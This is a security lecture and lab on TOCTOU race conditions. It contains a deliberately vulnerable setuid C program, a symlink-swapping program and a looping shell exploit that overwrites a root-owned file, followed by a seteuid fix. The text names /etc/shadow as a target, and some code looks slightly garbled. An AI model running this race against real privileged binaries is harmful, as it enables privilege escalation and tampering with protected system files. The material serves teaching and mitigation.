Lecture Notes
This lecture will present an overview over issues involving concurrency between applications using shared resources.
Download here
Relevant files
Practical tasks
An example of the TOCTOU
vulnerability can be found in the next snippet.
//vulnerable-program.c
#include <stdio.h>
#include<unistd.h>
#include <string.h>
#define DELAY 50000
int main(int argc, char * argv[]) {
char * fileName = argv[1];
char buffer[60];
int i;
FILE * fileHandler;
/* get user input */
scanf("%50s", buffer );
if(!access(fileName, W_OK)) {
/*Simulating the Delay*/
for(i = 0; i < DELAY;i++) {
int a = i ^ 2;
}
fileHandler = fopen(fileName, "a+"); fwrite("n", sizeof(char), 1, fileHandler);
fwrite(buffer, sizeof(char), strlen(buffer), fileHandler); fwrite("n", sizeof(char), 1, fileHandler); fclose(fileHandler);
} else {
printf("No permission n");
}
}
The code is vulnerable because the access
function, determining that the Real user (by its real user id) can access the file, is done before the actual access.
There is a window of opportunity between the access
and fopen
, where the file can be replaced.
Compile and prepare the file using:
gcc -o vulnerable-program vulnerable-program.c
sudo chown root vulnerable-program
sudo chmod u+s vulnerable-program
This sets the SET-UID
bit, which will make the file execute with Effective User ID of 0
(root
). However, the access
function considers the Real User ID, not granting users with files that they should not have had access to.
You can try to use the file to read /etc/passwd
and /etc/shadow
. The second will fail as expected due to invalid permissions.
The idea of exploiting the vulnerability is that there is a possibility that the file used by access()
system call is different from the file used by calling fopen()
system call even though they have the same file name.
This could happen if a malicious attacker can create a symbolic link with the same name as the provided filename (provided by the user as a command line argument). The symbolic link is pointing to the protected file which usually we don’t have permission to edit it such as /etc/shadow
file, so the attacker can cause the user input to be appended to the protected file /etc/shadow
because the program runs with the root privilege, and can overwrite any file.
For successfully exploit this vulnerable program, we need to achieve the following: Overwrite any file that belongs to root user which usually we don’t have permission to overwrite it.
To achieve this you should follow the following steps:
Create a file belongs to the root user
In this step, you should create a file belongs to the root user; you should follow the following steps to create a file belongs to the root user:
- Open the terminal
- Change the user to login as the root user
- Now type the following command to create a file called passwd and put some text in it:
echo "This is a file owned by the user" > passwd
- Now use the following command to make sure that the file is created and it’s owner is the root user
ls –l passwd
.
Write a symbolic link program
In this step, you should write a program that will create the symbolic link to the protected file rather than creating it manually, You can manually create symbolic links using “ln -s” or you can call C function “symlink” to create symbolic links in your program.
The following program will create a symbolic link with the same name as the provided filename (provided by the user as a command line argument)
//symbolic-link.c
#include <stdio.h>
#include<unistd.h>
#include <string.h>
int main(int argc, char * argv[]) {
unlink(argv[1]);
symlink("./passwd",argv[1]);
}
So now follow the following steps to compile it correctly:
- Copy the code in a file and name it as
symbolic-link.c
- Open a terminal (Normal user)
- Use Clang/gcc compiler to compile the code:
gcc symbolic-link.c –o symbolic-link
Now the code should be compiled correctly, and the binary is ready to use it.
Write a script to exploit the vulnerable program
In this step, you should write a script to execute the vulnerable program and the symlink program at the same time and check if the protected file has been overwritten, if not the script should repeat the attack until it works.
The following bash script will do the following:
- Create a file; the normal user can overwrite it.
- Run the vulnerable program and the symbolic link program at the same time
- Then the script checks if the password file has been changed or not. If changed, it will stop the execution.
- If not changed it will repeat the steps again until the attack succeeds.
#!/bin/sh
# exploit.sh
old=`ls -l passwd`
new=`ls -l passwd`
while [ "$old" = "$new" ] do
rm passwdlocal;
echo "This is a file that the user can overwrite" > passwdlocal
echo "TOCTOU-Attack-Success" | ./vulnerable-program passwdlocal & ./symbolic-link passwdlocal & new=`ls -l passwd`
done
echo "STOP... The passwd file has been changed"
Now copy the previous bash script as exploit.sh
and execute it as the following ./exploit.sh
(Normal user) and the script will not stop executing until the attack succeed and the password file will be overwritten.
Mitigation
The best approach to fix the vulnerable program in this lab is to apply the least privilege principle, in other words, if the users who use the program don’t need a certain privilege, it should be disabled.
In our case, we can use “seteuid()” system call to temporarily disable the root privilege, and we can enable it later if necessary.
Here is the updated vulnerable code with the fix to mitigate this vulnerability, we fixed this vulnerable program by setting the effective user id to the real user id value, so if the real user doesn’t have the permission to overwrite the file, then the file will not be overwritten.
/* vulnerable-program-fix.c */
#include <stdio.h>
#include<unistd.h>
#include <sys/types.h>
#include <string.h>
#define DELAY 50000
int main(int argc, char * argv[]) {
char * fileName = argv[1];
char buffer[60];
int i;
FILE * fileHandler;
/* get user input */
scanf("%50s", buffer );
if(!access(fileName, W_OK)) {
/*Simulating the Delay*/
for(i = 0; i < DELAY;i++) {
int a = i ^ 2;
}
/*THIS IS THE FIX */
/*Set the effective user id to the real user id value.*/
seteuid(getuid());
fileHandler = fopen(fileName, "a+"); fwrite("n", sizeof(char), 1, fileHandler);
fwrite(buffer, sizeof(char), strlen(buffer), fileHandler);fwrite("n", sizeof(char), 1, fileHandler);
fclose(fileHandler);
} else {
printf("No permission n");
}
}
After compiling the previous code and setting the Set-UID bit, it is time to run the exploit code again.
You will observe that the exploit code will run almost forever, and the attack will not succeed any more.
Credits to Ahmed Mohamed at https://www.infosecinstitute.com/resources/penetration-testing/race-condition-toctou-vulnerability-lab/